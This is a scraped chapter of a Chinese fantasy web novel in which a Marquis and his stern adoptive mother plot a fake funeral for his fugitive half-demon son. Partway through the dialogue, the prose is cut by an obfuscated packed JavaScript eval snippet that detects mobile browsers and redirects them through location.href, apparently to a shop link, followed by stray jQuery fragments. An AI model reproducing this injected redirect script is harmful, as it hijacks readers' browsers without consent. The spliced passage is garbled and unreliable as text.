默认冷灰
24号文字
方正启体

19. 高门秘辛

作者:藤上白狸本书字数:K更新时间:
    入了城,二人去往城北边儿的渡口。


    临近码头,钟声停了,周遭的议论声却大了不少,无非就是什么高门命贵、什么宋侯爱子如命等等。


    耳旁风盛,河风亦盛。


    空中卷来几片半黄半绿的落叶,恰好落进宋今琰掌中,他才回神,叶上似乎随着他扫动的目光浮起几行小字,转瞬又消失。庆京的消息还是慢了一步才传到他手里。


    宋今琰一路上都自顾自默然地走着,容岫不知他怎么了,自打入城,他的呼吸的和脚步都很沉重,她便也默然地跟在他身后,恰好瞧见那落叶上不知一闪而过的什么。


    人群熙攘,码头附近被踏出一大片湿土。


    不在阿琰肩上,容岫的视角很低,眼前一双双靴履踏着泥泞往来匆忙,行人微脏的衣角就贴着她的脸晃来晃去,踩踏着地上纷乱的人影,视线始终追随着前方徐行的雪衣少年。


    实在很不喜欢脚下湿润的触感,却也没在识海中唤他,只是在人海中轻轻吐槽了两声。


    “喵呜。”声音淹没在鼎沸的人声里。


    少年耳尖一动。


    指尖松开,待黄叶飞落泥地,这才背着无妄伞故作轻松地回头,马尾甩出一个不甚利落的弧度。


    只见黑猫亦步亦趋跟在后面,每走一步就要抖抖前爪的湿土,面上很嫌弃了,可清亮的眼神穿过人群依旧片刻不离地跟着他。


    宋今琰怔住。


    眼前人匆匆,影重重,风叶凌乱,打着旋儿落下又潦草地被行人踏进土里,宋今琰额前的碎发也跟风添乱,拨弄他的视线,眼角皮肉微痒,心也定不住了,他上前一大步躬身将猫儿捞上肩头。


    “师姐……”


    -


    庆京天尚寒,有雪。


    宋侯发丧前几日。


    宋家本就人丁不兴,这年过得并不热闹,年节里侯爷一直在外奔波,下人们整个正月里都有些惶惶。谁知侯爷一回家就不知和老太君闹什么脾气,竟把老太君气病了。


    老太君闭门不出,她住的随园也沉寂了两日。


    一大早,宋霖火急火燎去给病中的母亲请安,随园中接着就传来杯盏碎裂的声音。


    前夜的雪还未化尽,母子二人倒是吵得火热。


    “你个糊涂子,你怎么敢把一个半妖养在天子脚下,甚至……甚至还瞒了老身十多年!你……”老太君气得要扬手打人,奈何眼前人跪得远,只得抓起小几上的茶盏扔去。


    茶水溅了宋霖一脸,他一声不吭跪在地上。


    老太君年轻时随族兄上过战场,不说战功赫赫但也算一代巾帼,身体比之同龄人健朗不少,可如今一番急火攻心下也是眼前阵阵发黑。


    此时屋中只有这母子二人,晕眩袭来她也只得手肘撑在小几上自个儿给自个儿揉着太阳穴。抬眼见宋霖垂首一动不动,茶叶残渣挂在衣襟上,也不抬头来扶衬一下自己这个做母亲的,她心中腾起一股怆然之感。


    始终不是亲生的,养不熟。


    宋家血脉特别,男丁稀薄,她嫁入宋府只生了两个女儿,一直无子。当年,老侯爷在外头的相好诞下此脉唯一的男婴,她也不计较地将宋霖接回宋府养在膝下,时至今日都以亲生母亲的身份教导他,想方设法给他助力。


    宋霖男生女相,老太君虽未见过其生母,但这眉眼比老侯爷清秀俊美,料想也是长得随他生母,如今四十出头依旧风流倜傥。


    其生母虽是九流出生,但宋霖在家族真金白银的投入和老太君的教养下,排不上一代天骄好歹也是一表人才,可就是改不了和他爹那样眠花宿柳的臭毛病。如今宋霖承袭爵位近十年,边关历练也经历了无数次,温柔乡里一泡,表面上看起来依旧像个不抗事儿的粉面书生。


    不对,眼下想来也不算孬,毕竟连妖生的儿子他都敢背着祖宗收入宋氏家祠。


    “你都有个嫡长子了,当年为何还要瞒着琰儿半妖的身份把他接回来,如今陷入这等局面,你到底图什么,啊?”老夫人指着宋霖的鼻子问。


    “母亲,你知道的,君璞他打娘胎里就体弱,无法入道习剑更别说承袭秘术了,儿子这才……”


    老夫人打断他:“君儿体弱是为什么你不知道吗?”


    宋霖一噎,心道老太太又要说这茬,说了十多年也不嫌累。


    便听得老夫人接着道:“让老身来帮你回忆回忆,卢氏,你那位明媒正娶的嫡夫人,世家高门,家中三代拜相,这门姻缘老身煞费苦心为你牵来的!可卢氏却在孕中得知你出关镇妖的数月里随军养了个外室不说,竟还让人怀了身孕。别说是卢氏这样的高门贵女,换作寻常人家的新妇摊上你这么个纨绔也要被气死!她悲怒之下,摔了一跤才让君儿早产。你,才是导致你的嫡长子不能入道修习承袭秘术的罪魁祸首!”


    老夫人边说边摇头,“你倒好,见长子体弱不能入道,又去坊间把那孩子接回来,最后闹得你夫妻貌合神离也就罢了,竟然将他半妖的身份瞒了十来年!”


    宋霖跪着,听老太太数落。


    从他记事起,母亲总是对他事事挑剔,四十年里这种场面已经发生过无数次,哪怕他已袭爵数载年成为万人之上的四姓侯,哪怕母亲已经白发苍苍,关上门,这场景还是想噩梦一样降临。


    “你说你要是有本事瞒到底,瞒到老太婆我入土便罢了,宋氏一族上下任凭你折腾,反正那时我也看不见管不了了。”老太太指着他的面门,怒骂:“可你没这本事!不仅闹得家宅不宁,最后还叫卢氏一个后宅的妇人把这事揭发到了老身跟前!最后又来求老身出主意,你……”


    老太君气急,手边却已无东西可抓,只得狠狠拍到案几上。


    宋霖一言不发受着。


    “幸好卢氏把君儿的前途放在心上,此事没有透露给娘家,想看你态度如何。”老太太他那样,长长叹了口气,缓了半晌,问:“你正月里都在忙前忙后,说说,怎么处理的?”


    宋霖如实相告:“儿子先是打算将他诱入我宋氏在潼陵关外镇守的那座锁妖塔里困住,可是没想到,他竟然半路发现端倪逃了。我便下了无涯令,杀之……可西南崇山峻岭的,到现在还未寻到人。”


    老太太原本听他提到那座锁妖塔,眼里就有微微错愕,哪想他还下了无涯令。


    无涯出,死方休。


    老太太重新再一次好好审视了这个儿子,“到底还是你这个当爹的心最狠。”


    宋霖来这趟,可不是来听母亲数落自己的。


    老太太瞧他这副模样,亦知事关家族荣辱,便点拨两句。


    “我朝建朝数百年,妖族大势已去,盛世里也并未对那些无害小妖赶尽杀绝,民间也不乏人妖二族的佳话美谈。为何?“


    宋霖答:“正因妖族大势已去,前几代天子朝臣皆认为人与妖万万年共享一片土


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965006|193172||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地,妖族根本斩之不尽,如此,杀之不如用之。正如庆文帝当年将鉴天司四姓侯麾下的‘除’妖师改名为‘御’妖师。”


    “不错。”老太太点头,却话锋一转,道:“可莫要忘了,二十年前,当今天子尚在潜邸之时偏信狐族妖妃谗言,害得当时的发妻,堂堂太子妃名节尽毁含冤自尽,其母族一夜间尽数问斩流放。天子登基后亦想折损太子羽翼,可结果呢?现如今东宫那位三贬三进,硬生生在刀光剑影中坐稳了太子之位。


    “去岁春天,天子病中,荣宠二十余年的妖妃却突然被下狱剖丹,其两位皇子入北境后不知所踪,北境狐族也在此时被屠杀殆尽,你以为这是谁的手笔?忍辱二十年报杀母之仇,朝臣心如明镜,可朝堂之上有过半点风声没有?天子因此事一病不起,太子大权在握,眼下离江山易主之日近在咫尺。东宫这位因母族之祸已是恨妖族入骨,你觉得他登上帝位,对待妖族还会一如既往的‘杀之不如用之’吗?届时,若你堂堂宋侯在天子脚下私藏半妖,混淆血脉,你觉得,你会不会是天子推行新政第一个开刀的?”


    宋霖虽资质平庸,但在家族托举至今,不可能真对朝局一无所知。


    想四姓祖上的荣耀地位是一刀一枪随元帝拼出来的,可如今,这荣耀却是姬姓天家给的,眼下细想来,还是心有余悸,只恨那滑如泥鳅的小儿子怎还杳无音讯。


    老太太多少知道这儿子心里想什么,有些恨铁不成钢。


    “与其想着如何千方百计地手刃自己的亲骨肉,不如想想如何让你宋霖此后只有君儿一个儿子。”


    “母亲这……”不就是抹杀了次子吗?


    “给琰儿办场丧事吧,你在人前演了半辈子的好爹形象也该用用了。”老太太再次扶额,苦笑。


    宋霖回过味来,“母亲说的是啊,无涯令已出,他这辈子就算侥幸不死也只能逃亡在外,再无回京可能。只要他不回来,管他死哪,对外只管说暴毙了或者镇妖时遇到不测……反正我宋霖此后再没这儿子。我一定好好办,给他风光大葬,要天下皆知。”


    听着宋霖连口舌之上也不念半点父子情分,老太君盯着眼前此子,心中一阵反胃,摆摆手让宋霖退下。


    可觉着还是有一口气堵在胸口实在难耐,复又将其叫住。


    “从十三年前你将他接回宋府当一把刀磨炼,至今时身份败露东窗事发,你可知你错在何处?”


    宋霖无心逗留,直言:“请母亲赐教。”


    “宋氏一族血脉特殊,本就人丁稀薄,当年得知他娘逃跑后生下了他,母子二人在民间讨生活,你便执意要寻他回来,我未曾阻拦过你。”


    老太君心痛,摇头质问:“他回府后,君儿他娘心中有怨,苛待那孩子,你不管不顾也就罢了,我豁出老脸来护着,在你把他接去亲自教养之前,我是实打实疼过他。可你呢?你当我老太婆没有心吗?如今杀子之痛在你嘴里无足轻重,闹得夫妻不睦、家宅不宁、子孙无福……宋霖啊宋霖,是我没把你教好,是我害了子子孙孙啊,报应!这是我的报应!”


    又是这话。


    宋霖猛然抬头,宽大袖袍下,食指的手指甲已经嵌进了拇指关节的肉里,这处伤疤坏了又好,好了又坏,反复至今,她未关怀过一句,却口口声声说教坏了自己。


    他抬头看向老太太,千言万语到了嘴里依旧轻描淡写:“母亲教得很好,儿子受教。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)